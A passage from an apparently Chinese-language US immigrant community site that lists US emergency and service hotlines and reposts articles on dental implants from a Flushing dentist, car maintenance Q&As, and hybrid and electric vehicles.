3，不要因为鸡毛蒜皮的小事而乱拨打911，也许警察会认为你浪费紧急求助资源，把你抓起来呀！

4，一定要记住：911不处理有关动物的紧急事件，除非该事件对人构成伤害威胁。动物紧急事件请求助兽医诊所或动物中心

５，如果无法判断是否是危急情况，警方建议依然打911求助，接线员会根据你汇报的情况来断定是否需要紧急救援。

６，英文不太好也不用担心，只要在911电话接通之后，重复说“Chinese”，调度中心会寻找懂得中文的接线员来接听电话，这可能需要一小会儿，此时不要着急挂断电话。

千万要记住，在美国，除了911，还有这些紧急电话也要知道，关键时刻可救命！

211 社会服务资讯专线（24小时免费服务电话）

许多州都设有211 社会资源咨询服务专线，它是一个综合型的资源讯息平台，让需要帮助的民众费时费力的自己寻找方式解答，拨打211 直接与接线员对话，由接线员为民众解决问题并提供服务讯息，弱势民众为主要群体。服务包括：住房、庇护所、老年人服务资源、食品衣物提供、法律咨询、就业辅导、医药健康咨询等。

具体可上官网：http://www.211.org/查询你所在位置是否有211服务。

311非紧急市政服务专线（市民热线）

美国许多城市的市政府有设置这支专线，主要提供市政相关服务，比如修理马路人行道、移除道路上的动物尸体和障碍物清除、垃圾车服务、举报违章建筑、坏掉的路灯/红绿灯/停车计时器报修、检举噪音与违停、下水道与道路管线破裂等，都可以打这支电话请市政府来处理。

有311服务的城市包括纽约、洛杉矶（甚至还推出 APP 叫做 MyLA311）、圣地牙哥、旧金山、芝加哥等。可以点上网详细了解：https://en.wikipedia.org/wiki/3-1-1 可以打电话给市政府询问有没有这支专线电话服务。

411查号台（付费电话）

就是语音版黄页（Directory Assistance），可以用市内电话或是手机拨打，语音系统会询问你人名、公司名、要寻找的服务商家种类来提供电话号码，还能查询电影上映的戏院和播放时间。

不过，411是付费电话，以分钟计费，视服务商的收费方式而异（接通费$0.39-$1.99）。

另外，AT&T 有免接通费的 1-800-YellowPages 专线（https://www.att.com/Common/1800yellowpages/advertise_with_us_faqs.htm），不过可能还要付通话费的。

511出行讯息专线（免费电话）

“Travel Info Call 511″，由美国交通部的联邦公路管理局设立执行的 America’s Traveler Information Telephone Number 几乎涵盖美国大部分地区，详情可上网查询：http://www.fhwa.dot.gov/trafficinfo/511.htm，专线提供旅行讯息，如天气情报、即时交通状况、车祸事故、施工与封闭路段、高速公路车流等。可用市内电话和手机拨打。

部分郡县的高速公路也可拨打511请求道路救援服务（紧急情况还是要打911），目前已知加州洛杉矶（https://www.metro.net/projects/fsp/）、圣地牙哥（http://511sd.com/motoristaid/MotoristAidHome）和湾区（https://511.org/driving/assist/english）可提供爆胎援助、发动汽车、加一加仑的油、短程拖车等服务，皆为免费。

611手机电话客服专线（免费电话）

对手机方案、服务、收费、帐单有任何问题，或是想查询 Data 使用量等等，手机直拨611就可以接通你的电话服务商的客服中心。

711听语障人士专线（免费电话）

电话通讯讯息传递服务（Telecommunications Relay Service），扮演一个中介的角色，作为听语障人士与另一方通话者彼此间的沟通桥梁，并可双向服务。

811地下管线确认专线（免费电话）

不只是大型工程在动工开挖前需要事先确认地下管线地图，像家庭室内装修、庭院花园农场挖掘时也要小心。在动工前几天，可以拨打免付费电话811（http://call811.com/）得知管线位置与状况，包括瓦斯管线、电线、水管、和电缆线等。各相关单位如电力公司和瓦斯公司等，会在两三天内派专业人员前往施工地点标记管线位置。

其它常用电话

怀孕协助电话：800-672-2296

家庭暴力热线：800-799-7233

儿童受疟与忽视：800-540-4000

亚太家庭庇护所CPAF热线：800-339-3940

失踪与受剥削儿童中心：800-422-4453

老人照顾协助电话：800-843-5678

艾滋病协助电话：800-677-1116

美国移民局：800-375-5283

安全驾车热线：800-424-9393

消费者投诉电话：800-952-5225

消费者信用咨询服务：800-750-2227

儿童和家庭服务：213-427-2700

美国红十字会：213-739-5200

法律协助基金会：213- 487-3320

气象台：213-554-1212

乐透奖中奖号码查询：800-568-8379

废物处理：800-732-9253

家庭废物处理：800-238-0172

印刷式废旧电话薄回收：800-953-4400

联邦急难管理局：202-566-1600

2019-09-24 / by happy1 / in 二手车, 交通/旅游, 到美必看, 医疗健康, 律师/移民/金融, 求医指南, 汽车/房产/保险, 生活/美食/家居, 移民生活, 美国新闻

如何保养种植牙？

植牙长期的成功取决于如何好的保养。定期的牙科复诊是必要的，你的牙科医生会建立一个牙科复诊方案以确保植牙的健康及保持你自然的牙齿。

当牙齿和牙龈没有彻底地清洁时就会被牙周病所侵袭。如果对骨头吸收置之不理，支撑结构就会变弱，可导致植牙像牙齿一样地松动，最后脱落。

家庭保健：日常刷牙,用牙线对于长期的成功是绝对有必要的。现在有很多辅助产品可帮助你彻底清洁植牙，你的牙医会设计一个适合你个人的家庭保健方式。

刷牙：你的牙医可能会推荐电动牙刷，不管你用普的牙刷还是电动牙刷，你的牙医都会复查你刷牙的方式以确保你彻底地清洁部位。

用口部冲洗系统：调查显示口部冲洗对牙科种植牙和自然牙齿周围的牙斑聚积是有效果的。你的牙医可能会介意你用特殊的漱口水。

用牙线：好的家庭保健包括日常用牙线，牙线辅助器可以帮助你接触到植牙周围，牙桥下面及一些障碍部位，使你很容易的清洁，你的牙医同样会介绍你用特殊的牙线。

邻间的毛刷：一些小的刷子也叫“PROXY BRUSHES”是专门设计用来清洁牙齿和植牙之间，并不是取代牙线，而是帮助清洁一些比较困难清洁的位置。

牙科访问：特别建议病人访问他们的牙医并进行每3-6个月的定期洗牙。同时，为你设计一个特别的牙科访问计划。

Shu’s Dental 舒小泉牙科医生

地址： 13636 39th Ave #8, Flushing, NY 11354美国
电话： (516) 353-1906/
网址：https://shus-dental.business.site/

2019-09-20 / by happy1 / in 医疗健康, 口腔科/眼科/耳科, 汽车/房产/保险

人生无牙淡如水，有牙能品天下味

舒小泉牙醫即刻植牙技術幫助全牙列缺失患者修複

人生无牙淡如水，有牙能品天下味

在法拉盛開業近20年的舒小泉醫師，擁有20多年豐富的臨床經驗，曾為中科院神經科學博士、華西大學口腔學院毕业及紐約大學牙科博士，為國際植牙學會會員，学历经验半富。

缺失牙本就是痛苦的一件事情，不但享受不了美食，而且還會對自身的健康造成很大的威脅。所以缺失牙給患者帶來了很多的煩惱。生活中很多老年人全口缺牙，都希望能做種植牙恢復咀嚼功能。針對全口缺失牙患者來說，全頜即刻種植，只需植入上下各4顆種植體就能重建全口牙齒，不但降低了費用，還減少了手術風險，甚至無需等待植骨。科学研究表明有牙人比无牙人长寿十年。

舒小泉醫師表示現在有許多全口缺牙的患者選擇做種植牙，但其實不一定要缺一顆種一顆。做全口種植，特別是牙槽骨量不足的患者，其實可以選擇全頜即刻種植修復技術，只需植入上下各4顆種植體，就能重建全口牙齒。這種方式的種植體呈30°傾斜，增大骨骼與種植體的接觸面，避開了上頜竇和下齒槽神經管等重要解剖結構，即使牙槽骨骨量不足也無需做植骨手術。

全頜即刻種植這種修復方式的效果可媲美真牙，減少了種植體的植入，避免了大量的植骨，還降低種植手術的創傷和風險，更重要的是在植入後患者即可戴上臨時牙冠，恢復咀嚼功能，避免了3~6個月的無牙等待時間。對於牙周病比較嚴重、全口牙齒鬆動無法保留的人，全頜即刻種植也可以實現一天修復。
最新的下頜全牙列重建技术甚至只需要三顆種植體。减低成本和时间。

全頜即刻種植技術對醫生的技術有著極高的要求，由於中遠部位的兩顆種植體是以傾斜角度植入牙槽骨的，對種植的位置、角度、深度都有著嚴格要求，不能有絲毫偏差，否則可能導致整個手術失敗，需要尋求經驗豐富的醫師。舒小泉醫師電話：718-886-7808。地址：136-36 39 Ave 8FL, Flushing, NY 11354。門診時間：每週7天9點至6點，歡迎預約。

2019-09-20 / by happy1 / in 医疗健康, 口腔科/眼科/耳科, 求职, 留学/教育/求职

老年人能种植牙齿吗？

一朋友问,我父亲的牙齿一直不好，到了60出头后，下颌的牙齿就全部脱落了。他虽然佩戴了活动假牙，但吃饭时假牙会起伏跳动，嚼不烂口中的食物。前段时间去医院，有人建议我父亲做人工种牙。请问：老年人适合做人工种牙吗？种植后能用多长时间？

事实上, 人工种牙极大地提高老人的生活品质.一般所佩戴的传统假牙，是由塑料托板与牙齿两部分组成，基托覆盖在口腔粘膜表面，起固位和承担咀嚼压力的作用。对老年人而言，下颌牙齿全部脱落后，往往会使下颌牙床骨组织和牙龈组织萎缩。如果萎缩达到一定程度，基托与口腔粘膜接触面积减少，两者之间的贴合不密，就会出现来信中所说的吃饭时假牙起伏跳动、嚼不烂口中食物的现象。　　种植牙是用纯钛金属材料制成一定形状的人工牙根，植入缺牙部位的牙床内，再在人工牙根上镶装义齿。种植牙不仅牙根稳固，能和真牙一样咀嚼食物，而且牙冠美观，被称为人类的“第三副牙齿”。

对于下颌牙缺失，尤其是下半口假牙固位不良者，建议在其下颌牙槽骨上植入2至4枚种植体，三个月后再制作覆盖义齿。与传统假牙相比，种植牙有以下三点优势：

一是固位好，比传统假牙戴得稳固、牢靠；

二是咀嚼力比传统假牙有大幅度的提高；

三是异物感小，美观舒适。

另有做全口種植固定假牙，特別是牙槽骨量不足的患者，其實可以選擇全頜即刻種植修復技術，只需植入上下各4顆種植體，就能重建全口牙齒。這種方式的種植體呈30°傾斜，增大骨骼與種植體的接觸面，避開了上頜竇和下齒槽神經管等重要解剖結構，即使牙槽骨骨量不足也無需做植骨手術。
据统计，种植牙的10年成功率能达到95%以上。种植牙齿在年龄方面没有禁忌。以下人群都能接受种植牙修复：身心健康、无明显器质性疾患的成年人；局部尚存一定牙槽骨量的人；心血管疾病或糖尿病患者经治疗后能得到控制的。成功的种植牙会伴随你一生. 只要保护的好, 种植牙跟真牙一样好, 一样久。

2019-09-20 / by happy1 / in 医疗健康, 口腔科/眼科/耳科, 汽车/房产/保险

种植牙手术很痛吗?

植牙作为修复缺牙的有效手段,越来越为人们所接受.美国牙医协会推荐为缺牙修复的首选方案和标准方法之一.要求牙医在向病人制定治疗措施中把种植牙介绍给病人参考.但病人往往不了解植牙手术,认为植牙很痛苦,而错失良机.其实,种植牙是一个口腔的小手术, 植牙手术是在局麻下进行，即在缺牙的牙骨上钻个小孔, 医生很轻柔地把人工植牙放入窝内.整个手术过程是一个微创手术. 根据我们的经验绝大多数患者术后限用止痛药不超过一天。

植牙后一般也没有明显肿胀等情况,只要按照医生的医嘱.几天即可完全如常.相比较植牙手术和拔智慧牙,植牙手术反应更小,更简单.病人大多不疼痛,肿痛等术后反应或只有很轻微的反应,也迅速消退.所以说,植牙是一种微创,无痛的小手术. 术中和术后不会有明显的疼痛。若有疼痛，当天服止痛药即可，无需住院，对全身影响不大，一般不影响正常工作。目前也尚未发现种植材料对人体造成的伤害。大多数人都可承受

不过，有心脏病、血液病、糖尿病、甲状腺功能障碍、甲状旁腺功能障碍和癫痫等疾病的患者视病情轻重和疾病控制情况而定，十六岁以下患者因其牙床尚未发育完全，也不宜接受种植。

2019-09-20 / by happy1 / in 医疗健康, 口腔科/眼科/耳科, 汽车/房产/保险, 肠胃科/儿科/家庭医生

种植牙安全吗？

植牙是现代牙医学里高科技的技能。由微小的钛金属根状体代替自然的牙根，在麻醉的状态下小心地植入骨中，这些微小的钛金属和病人的骨头相结合。通常这些植牙比自然的牙根更牢固。在这些植牙上面,可以建立永久的牙齿。特定的设计，具有美感的颜色，适合每个病人脸部的美观需求。

在美国及国外超过三十年的严密的调查都提示钛金属与人体结合是和谐的。研究显示最早接受这些现代植牙的病人们继续享受着健康和稳定的笑容，植牙依然发挥着重要的功能。

程序需要多长的时间？会痛吗？

几乎所有的植牙程序会在舒服的牙科座椅上且局部麻醉的情况下完成。在外科手术过程中不会感觉到痛，根据种植牙的数量，在手术后的几天里可能会肿，疼痛。通常会有止痛的处方以减缓不舒服。在手术后愈合期间，病人一般选择比较软的日常食物，建议食用冷的食物，微温的汤，这些可以帮助减轻肿胀。

整个种植牙程序及制造一个新的牙齿至少需要3个月完成。然而上面的牙齿由全口的永久活动假牙代替通常需要五到六个月。植牙病人的年龄范围从18岁到99岁，一个天生牙齿的缺失可以戏剧性的改变一个小孩的一生。取代活动假牙对于一个年老的病人，在黄金岁月可以变得更满足，同时对消化系统和必血管系统温和多了。一般只有罕见的血液病，白血病，或者病人在接受化学疗法的病人才不适合做植牙的。

舒小泉牙科医生

电话： (516) 353-1906/
地址：136-36 39th Ave. 8/F Flushing, NY 11354 USA

2019-09-20 / by happy1 / in 医疗健康, 口腔科/眼科/耳科, 汽车/房产/保险, 肠胃科/儿科/家庭医生

舒小泉牙医精心为老人植牙，接受联合及兰十字保险

人生无牙淡如水，有牙能品天下味. 许多老人有缺牙，或配有话动假牙。但其功能，舒适度都不佳。食之无味。那么老年人能做更好的人工种植牙吗？能用多长时间？

种植牙不仅牙根稳固，能和真牙一样咀嚼食物，而且牙冠美观，被称为人类的“第三副牙齿”。　　种植牙有以下三点优势：一是固位好，比传统假牙戴得稳固、牢靠；二是咀嚼力比传统假牙有大幅度的提高；三是异物感小，美观舒适。据统计，种植牙的10年成功率能达到95%以上。人工种牙极大地提高老人的生活品质。

种植牙齿在年龄方面没有禁忌。身心健康、无明显器质性疾患的老人；局部尚存一定牙槽骨量；心血管疾病或糖尿病患者经治疗后能得到控制的，都可以接受种植牙。成功的种植牙会伴随你一生. 只要保护的好, 种植牙跟真牙一样好, 一样久。

舒小泉牙医博士十几年植牙经验，全心服务于社区，特别专注于老人口腔健康，为有联合及兰十字保险的老人申请政府补助，让老人免费植牙。

舒小泉牙科医生

电话：(516) 353-1906/
地址：136-36 39th Ave. 8/F Flushing, NY 11354 USA

2019-09-20 / by happy1 / in 医疗健康, 口腔科/眼科/耳科, 律师/移民/金融, 汽车/房产/保险, 移民生活, 美国新闻

汽车问答：P0171燃烧过贫

问：我把Toyota Camry LE/XLE送去做10K Service，之后常闻到塑胶味。我再开回去让他检查，打开才发现漏油很厉害。但他说不知原因，让我回去冲洗干净再回去让他看。我告诉他我的车以前没有漏油现象，如果有他应告诉我们一并修理。我赶紧开去另一个车行查看发现是漏油。

答：这种事情经常发生。首先不一定是漏油。多数都是换油过程时不小心倒洒机油到排气歧管上，或者是机油滤清器（Oil Filter）没有安装好，或用了次等品牌的产品而造成机油外泄。

倒洒到排气歧管上的机油可以用强力清洁剂洗涤后清除。机油滤清器也可以更换一个原厂的，并根据厂房要求上紧（但不能过紧）就可以了。

问：我的汽车是05 Sienta，出了P0171，应该如何跟进及需换什么呢？

答：Hi Tenndy，P0171的解释是燃烧过贫（Too Lean）。
原因：
1) 首先检查真空橡胶管道漏气。
2) 如果没有漏气，可能是MAF（Mass Air Flow Sensor）空气流量传感器。可以先清洁一下，不行才更换。

2019-09-19 / by happy1 / in 汽车, 汽车/房产/保险

纽约景点攻略之华尔街

2019-09-19 / by happy1 / in 律师/移民/金融, 移民生活

不买混合动力汽车的5个理由

十年或二十年前，混合动力车是一件新生事物，使用未经证实的技术。不少人有这样的问题：电池会爆炸吗？会着火吗？如果必须更换电池怎么办？在高速公路上开车速度加不上去怎么办？开车上山上不去怎么办？

自1999年混合动力车投入市场以来，其技术一直在不断改进。几乎所有主要的汽车制造商在其产品线中都有几款混合动力车。丰田汽车的普锐斯(Prius)子品牌就是混合动力车品牌。

人们要买混合动力车的原因有很多。比如保护环境，减少加油站的停留时间，满足自己的环保意识。但从长远来看，并不是每个理由都会站得住脚。虽然混合动力车仍然受欢迎，但可能会有更好，更环保，更有效的替代品。

看看下面这五个不买混合动力汽车的理由是否会让你离开它。

1) 初始成本高

对于有兴趣购买混合动力车的人来说，第一个障碍就是其成本高于相当的汽油车。对于同一制造商的同一品牌，混合动力版通常比传统版贵数千美元。

混合动力汽车大部分的额外成本来自于电力驱动/回收技术的成本。这里有一些例子：
．2018雪佛兰Malibu：传统汽油版售价21,680美元，混合动力版售价27,920美元。
．2019福特Fusion：传统汽油版售价22,840美元，混合动力版：27,555美元。
．2018本田雅阁Accord：传统汽油版售价23,570美元，混合动力版25,100美元。

相较于传统汽油车，购买混合动力版将支付更高费用。你也许认为那没关系，因为你将来可以通过节省汽油费用把这笔钱省下来。是这样吗？

2) 汽油费难弥补差价

大多数新的混合动力车主会说，他们可以通过将来节省的汽油费来弥补高出的初始购买成本。是的，有这个可能，但是所需要的时间的长短取决于汽油价格的高低，而且可能比大多数车主想像的要长一点。

通常情况下，通过节省燃料费来弥补混合动力汽车较高的购置成本可能需要几年的时间。当汽油价格在2008年夏天创下历史最高记录时，购买混合动力汽车可能听起来像个好主意。事实上，当汽油价格高涨时，混合动力汽车可以在短短两年内弥补价格差异 – 就像丰田凯美瑞(Camry) 混合动力车一样。当时，联邦政府和一些州政府也提供税收抵免和激励措施，用于购买新的混合动力车。不过，现在这些税收抵免和激励措施都已经没有了。插电式混合动力车和纯电动车仍有税收激励措施，但即使这些也将在几年内结束。

对于极端情况，比如雷克萨斯Lexus LC混合动力跑车（价格高达六位数），即使汽油价格处在高位，也需要几十年才能弥补购置差价。

3) 优势不如纯电动汽车

当混合动力汽车在21世纪初大规模出现时，那个舞台上就它自己。像Zap Xebra这样的纯电动汽车还是一个小东西，单次充电最远只能行驶40y英里，最高速度也很低。直到2008年单次充电可以行驶超过200英里的特斯拉跑车的出现，纯电动汽车才进入人们的视野。2011年，特斯拉的Model S和日产Leaf问世并投放市场。完全不需要汽油，完全不需要发动机全电动汽车，早期只是被那些先驱们所接受。

现在有数十种全电动汽车，从未来派的BMW i3到大众电力高尔夫。还有插电式混合动力电动汽车或PHEV，如丰田普锐斯的Prime和克莱斯勒Pacifica。地球上的每个汽车制造商都承诺在未来5到10年内将其车队全部电动化。这就意味着会有更多的混合动力车，插电式混合动力车和纯电动车投放市场。因此，虽然混合动力车仍然可用，并且到目前为止经受住了时间的考验，但显然还有其他更清洁的动力系统可以选择。

仅依靠电力运行的汽车，比如EV或PHEV，行驶时完全没有废气排放。零排放，零汽油。

4) 不适合拖车和牵引

混合动力汽车几乎适应于任何类型的驾驶情况。城市、高速公路、小型车、小型货车。而且有几乎适合于每个人收入状况的混合动力车可供选择。

如果你需要牵引或拖拉任何东西，混合动力汽车可能就不适合你的需求。混合动力车的设计不是为了牵引东西。一些混合动力车可以拉一个小的东西。2016年丰田开始为普锐斯提供拖车选项，这被认为是开创性的。真的，没有人会想到用混合动力车牵引东西。但它仍然只能牵引约1,600磅（725公斤），这是市场上最轻的露营车的最低端的重量。

5) 你不需要汽车

据世界银行称，世界上一半以上的人口居住在城市地区。无论是洛杉矶还是巴黎，市区的交通都非常拥挤，而且情况还在恶化。由一些城市禁止在城市中心开车，有些城市计划在未来20年内完全禁止内燃机汽车。居住在城市中心的居民正在放弃汽车，使用公共交通、拼车、乘车共享、自行车共享、滑板车，甚至步行的方式。

住在城市的人可能会考虑他们是否需要一辆车。Uber或Lyft等共享汽车服务，以及会员制的Car2Go或Zipcar等汽车共享服务可以满足人们出远门的需求。没有车意味着不需要为车库支付额外费用，当然也不需要支付停车费。没有维护，没有保险，没有汽油费。请记住，混合动力汽车还是需要汽油运行。如果你乘坐公共汽车，那么你也不必担心收发短信时被警察惩罚。

2019-09-18 / by happy1 / in 汽车, 汽车/房产/保险

汽车问答：什么是陶瓷涂层？

如果你希望你的汽车看起来永远和你购买它的第一天那样簇新闪亮，现在的办法就是要经常仔细清洗，而且每隔几个月还要涂上一层新蜡。但是即便如此，你的汽车表面仍然不可避免地出现了细微的划痕、脱漆和和不易清洗的污渍。不仅如此，在你做了彻底清洗后的第二天，你发现水斑、污垢又出现在你的车上。

如果你正在为此而烦恼，并一直试图寻找一种东西，可以对你的新车提供最佳保护，使其尽可能长时间地保持陈列室状态，汽车陶瓷涂层（也被称为纳米陶瓷涂层）就是你需要的！汽车陶瓷涂层可以对汽车面漆提供长时间的保护，使其免受环境危害，并使汽车更容易清洗。

那么，汽车陶瓷涂料究竟是什么？它的优点和缺点是什么？什么样的陶瓷涂料对你的车辆最好？

什么是陶瓷涂层？

陶瓷涂层（例如Opti-Coat Pro，C. Quartz和Ceramic Pro）是一种液体聚合物，可手工施加到汽车表面。涂层与汽车车身的涂料发生化学键合，形成一层保护层。

陶瓷涂层不能替代油漆保护膜。油漆保护膜可以提供全面的保护，而陶瓷涂层只是优质漆蜡的替代品。陶瓷涂层与汽车涂料永久或半永久性粘合，使得它不会被冲洗掉或分解，并且也不需要每隔几个月重复涂覆一次。

陶瓷涂层可以做什么？

简而言之，陶瓷涂层可以为你的汽车油漆增加一层额外的保护，并且通过相对最小的维护保持其外观象新的一样。这种涂层使汽车表面更具弹性且更易于清洁来实现这一结果。以下是陶瓷涂层主要的好处：

防止紫外线损伤/氧化

如果车辆经常暴露在阳光下，其油漆将开始氧化/老化，导致油漆失去光泽和褪色。一层陶瓷涂层可保护车辆的油漆免受太阳紫外线的伤害，从而减轻氧化程度，光泽长久保持。

化学污染和腐蚀保护

汽车油漆的另一个危险是天然酸性污染物。通过创建耐化学腐蚀的表面，陶瓷涂层可以防止一些污染物粘附到车辆的涂料上。如果及时清除污染物，你的车辆油漆将更耐久。

易于清洁

陶瓷涂层最重要的特征之一是它具有排水性或疏水性。疏水性陶瓷涂层使雨水在汽车表面形成水珠滑落，而不是薄膜附着在车身上。这意味着泥浆和污垢不会粘到汽车的油漆上。当你洗车时，污染物可以非常轻易的去除。

增强光泽

如果你希望你的汽车油漆更有光泽，陶瓷涂层可以实现你的愿望。好的陶瓷涂层可增强汽车油漆和透明涂层的反射性能，增加油漆的深度和清晰度。好的陶瓷涂层使汽车油漆看起来甚至比新车还要漂亮。陶瓷涂层将因此使你的汽车看上去长久簇新，增加其再售价值。

汽车陶瓷涂层可以对汽车面漆提供长时间的保护，使其免受环境危害，并使汽车更容易清洗。那么，汽车陶瓷涂料究竟是什么？它的优点和缺点是什么？什么样的陶瓷涂料对你的车辆最好？

陶瓷涂层不能做什么？

正如上面提到的，陶瓷涂层可以保护汽车油漆并减少持续维护。如果你选择使用陶瓷涂层，你也将使汽车的价值增加。

然而，陶瓷涂层并不是一种奇迹般的超级产品，它不可以解决你关于汽车油漆的所有问题。因此，了解陶瓷涂层不能做什么对你来说也很重要。

1) 消除划伤、防止道路上碎石破坏油漆
陶瓷涂层的耐刮擦性经常被夸大。虽然陶瓷涂层可以防止一些小划痕，但不能完全抵抗碎石或停车场刮擦对油漆的破坏。此外，不正确的洗车技术或自动洗车仍会在油漆表面产生漩涡痕迹。重要的是，陶瓷涂层不能防止严重的划痕，也不能防止不当洗车可能产生的漩涡痕迹。

2) 不留水渍
正常的水滴含有一定量的污垢或矿物质。当水在车辆表面蒸发时，矿物质会留下，产生可见的斑点。零售商和消费者可能认为陶瓷涂层的疏水性质会消除水斑，因为陶瓷涂层表面有排水性。是的，有些水珠会从汽车表面滑落，但是还会有一些水滴留在汽车表面，蒸发后从而留下水渍。

3) 不需要洗车
上面说过，陶瓷涂层可以使你的汽车看起来像新的一样，维护相对最少，而不是不需要维护。如果你驾驶汽车上路，它必然会变脏，即使是使用了陶瓷涂层也是一样，你仍然需要定期清洗汽车以保持其外观清洁。陶瓷涂层的好处是清洁过程将更容易。此外，使用陶瓷涂层意味着你不再需要每隔几个月为车辆上蜡，从而减轻了维护工作量。陶瓷涂层不会使你的车辆免于维护，但它确实可以大幅度减少维护，并保持更好的结果。

陶瓷涂层适合你的汽车吗？
简而言之，在决定陶瓷涂层是否适合你的汽车之前，重要的是要对产品进行研究。陶瓷涂层是否会使你的车辆受益并增加价值？陶瓷涂料是一个奇迹产品，一站式解决方案，适用于所有车辆的外部问题吗？当然不是！

同样重要的是要认识到陶瓷涂层不能替代油漆保护膜。为了获得最佳保护，请在施加陶瓷涂层之前在车辆最脆弱的部位施加一层油漆保护膜，然后在油漆表面上涂上陶瓷涂层。

陶瓷涂层的费用
陶瓷涂层固然好处多多。但你不确定是否值得投资？下面我们比较一下漆蜡和陶瓷涂层的费用。

陶瓷涂层几乎在所有方面都优于漆蜡和密封剂。它们更坚硬，更耐用，耐热性更好，使用寿命更长。但是，比较高的价格是许多人仍然排斥陶瓷涂层原因。如果使用专业人士，材料加人工的费用可能在500美元至2000美元之间。由于价格远高于传统的漆蜡或密封剂，许多人发现很难证明这笔费用是合理的。

当然也有DIY陶瓷涂层产品。产品价格通常不高于$100。因为没有人工成本，因此这就是DIY陶瓷涂层费用。

2019-09-18 / by happy1 / in 汽车, 汽车/房产/保险

汽车问答：火星塞脏有何影响？

问：我的车行进中在等红绿灯时，会抖动。排档移到N或P时，车就很静，变速箱的Rubber Mounting已换过，毛病仍在。

答：毛病与Rubber Mount无关。问题出在引擎的怠速控制阀。Idle Speed Control Valve。11年的运行那里可能有所积碳。建议清洗或更换这个控制阀。

问：这是我那颗坏掉的火星塞，我察看过网路说如果是Gasket漏油火星塞应该会是整颗都是机油，我的只有点火附近有机油。而吃机油会不会顾路呢？我会时常检查机油的高度。

答：照片显示火星塞比较肮脏，感觉上是引擎的燃烧不正常，是喷油过浓（Too rich）导致。倒不一定是机油本身导致的。需要检查点火系统的高压电圈（high voltage coil）是否工作正常。喷油嘴是否正常（可能喷油过多）。最好每个缸的火星塞都检查一下做对比。

陶瓷黑不是太冷，就是油气太浓。陶瓷白不是太热，就是油气太稀。

2019-09-18 / by happy1 / in 汽车, 汽车/房产/保险

阴雨天点火困难怎么办？

问：我的车是2002年的Honda Accord，一年前换过变速箱，其他基本正常。近半年忽然发现阴雨天停在室外时间稍长就会出现点火困难的现象，有时候甚至根本无法启动。故而我阴雨天不敢出行。请问这个现象该如何解决为好。谢谢！

答：阴天点火困难，多数是电气方面的问题。也可能是油门或怠速阀那里工作不正常。
1) 点火启动之前先把油门略微踩下10-15%。
2) 如果点火一次成功表示油门或怠速阀Idle Speed Valve积碳，需要清洗。
3) 如果不行，需要检查水温传感器Coolant Temperature Sensor。
4) 再有需要检查分电盘Distributor内部的高压电圈和线路是否有故障，需要更换。
5) 再有需要检查一下油泵是否工作正常，有时候控制油泵的主继电器（Main Relay）有故障。

2019-09-18 / by happy1 / in 汽车, 汽车/房产/保险

需要清洗汽车底盘吗？

不管你开什么车，保持汽车底盘的清洁都非常必要。因此，如果你只是为了保持良好的外观而洗车，那可能还不够。事实上，“消费者报告”说，除了洗车之外，你还应该在一个季节至少洗一次底盘。如果你经常参加越野等活动，你应该清洗更多次。

如果你在道路撒过除雪盐的道路上开车，比斯利建议尽快清洗地盘，去除盐渣。因为盐分对金属表面有较强的腐蚀作用。盐粘附在车身上的时间越长，就越有可能造成车身腐蚀。对于那些在沿海地区生活和驾驶的人来说也是如此。海洋附近的空气中也有盐分，对汽车同样有腐蚀作用。

如果你喜欢在家中洗车而不是到洗车行，建议你使用高压清洗机，和高质量的清洗剂。高压清洗机可以轻松到达你不能 – 或者不想 – 用手触及的区域，清洗剂将确保所有表面都经过冲洗干净。

DIY清洗底盘的提示，包括：
．考虑使用千斤顶或斜坡提升车辆的底盘（但要确保其稳定）；
．卸掉车轮以更好的清洗车轮井；
．检查制动器和燃油管路是否有腐蚀迹象，因为它们往往最容易生銹但对汽车的安全运行也至关重要；
．使用WD-40润滑剂可以帮助保护干净的表面；
．在汽车完全干燥之前，不要使用橡胶基涂层保护剂等产品。

2019-09-18 / by happy1 / in 汽车, 汽车/房产/保险

汽车问答：上下水管温差大

问：汽车是01年E46 318，水箱水没有减少，水温表也正常，但上下水管温差大，且水管会涨硬的现象，水龟已换过，并未消除此状况，求解，真的是冲掉了吗？

答：2001年宝马318i吗？

上下主水管是有一定的温差，这正表示水箱和冷却风扇工作正常。水管会在正常运行时涨硬，因为水箱水是在高压下循环。俗称水龟的“节温器”如果已经更换过，有可能在重新加水后没有排除引擎内部的空气。宝马加冷却水时有一个步骤，就是必须做“排气”。而且还需要把汽车的暖气打开，保证冷却水循环到那里，排去空气。并在加水后初始引擎运行时打开“放气”螺丝，打开暖气，加水一直到有冷却水从“排气孔”那里溢出后再把螺丝锁紧。

加冷却水从副水箱口缓慢加入，加满整个副水箱并等待冷却液从排气螺栓孔处溢出但无气泡为止。最后关闭排气螺栓和通气螺栓。盖紧副水箱盖，使发动机暖机运行至节温器打开：最后等发动机冷却至室温〈20～30℃〉后，再检查冷却液面是否在标准之内。黑色副水箱内的浮子顶端要与副水箱盖口端面平齐，白色透明副水箱则要观察其内的液面是否达到最高标记处。

2019-09-18 / by happy1 / in 汽车, 汽车/房产/保险

来美国必吃的美味零食

2019-09-18 / by happy1 / in 律师/移民/金融, 移民生活

汽油动力汽车与电动汽车哪个更快？

对于相同马力额定值的电动汽车和燃气汽车，电动汽车可以更有效的使用更多的马力。这是因为电动汽车的运动部件较少，因此它们能够更有效地运行。（效率并非严格基于燃油消耗；车辆的速度和灵活性也会受到影响。）

即时扭矩和简化的动力传动系统是使电动车辆能够比具有可比功率规格的汽油车辆更快地起步加速的两个因素。这就是为什么特斯拉和其他电动超级跑车在短短两三秒内完成0到60的过程。

特斯拉不提供马力等级，但赛车场使用称为测功机的机器来测试了具有Ludicrous Speed升级的2017款高端Model S P100D。它们在车轮上的读数为588马力。

《汽车趋势》杂志在2017年对特斯拉Model S P100D进行了公路测试。杂志从未见过有任何汽车可以在不到2.3秒的时间内从0加速到60英里/ 小时。但是特斯拉以2.275秒的速度完成了这个过程，当时它成为有史以来最快的量产汽车。然而，正如《汽车趋势》杂志的弗兰克马库斯所解释的那样，如果特斯拉与法拉利LaFerrari、保时捷918或迈凯轮P1竞争，那么这三款汽油动力超级跑车将会在几秒内赶上并超过特斯拉。

变速箱的缺点

从零加速到60英里/小时，电动汽车目前具有很大的优势。然而，电动汽车行业正在意识到要想提高电动汽车的最高速度，需要引进新的技术。事实上，一些工程师正在研究专门用于电动汽车的新变速器，以提高电动汽车的最高速度。

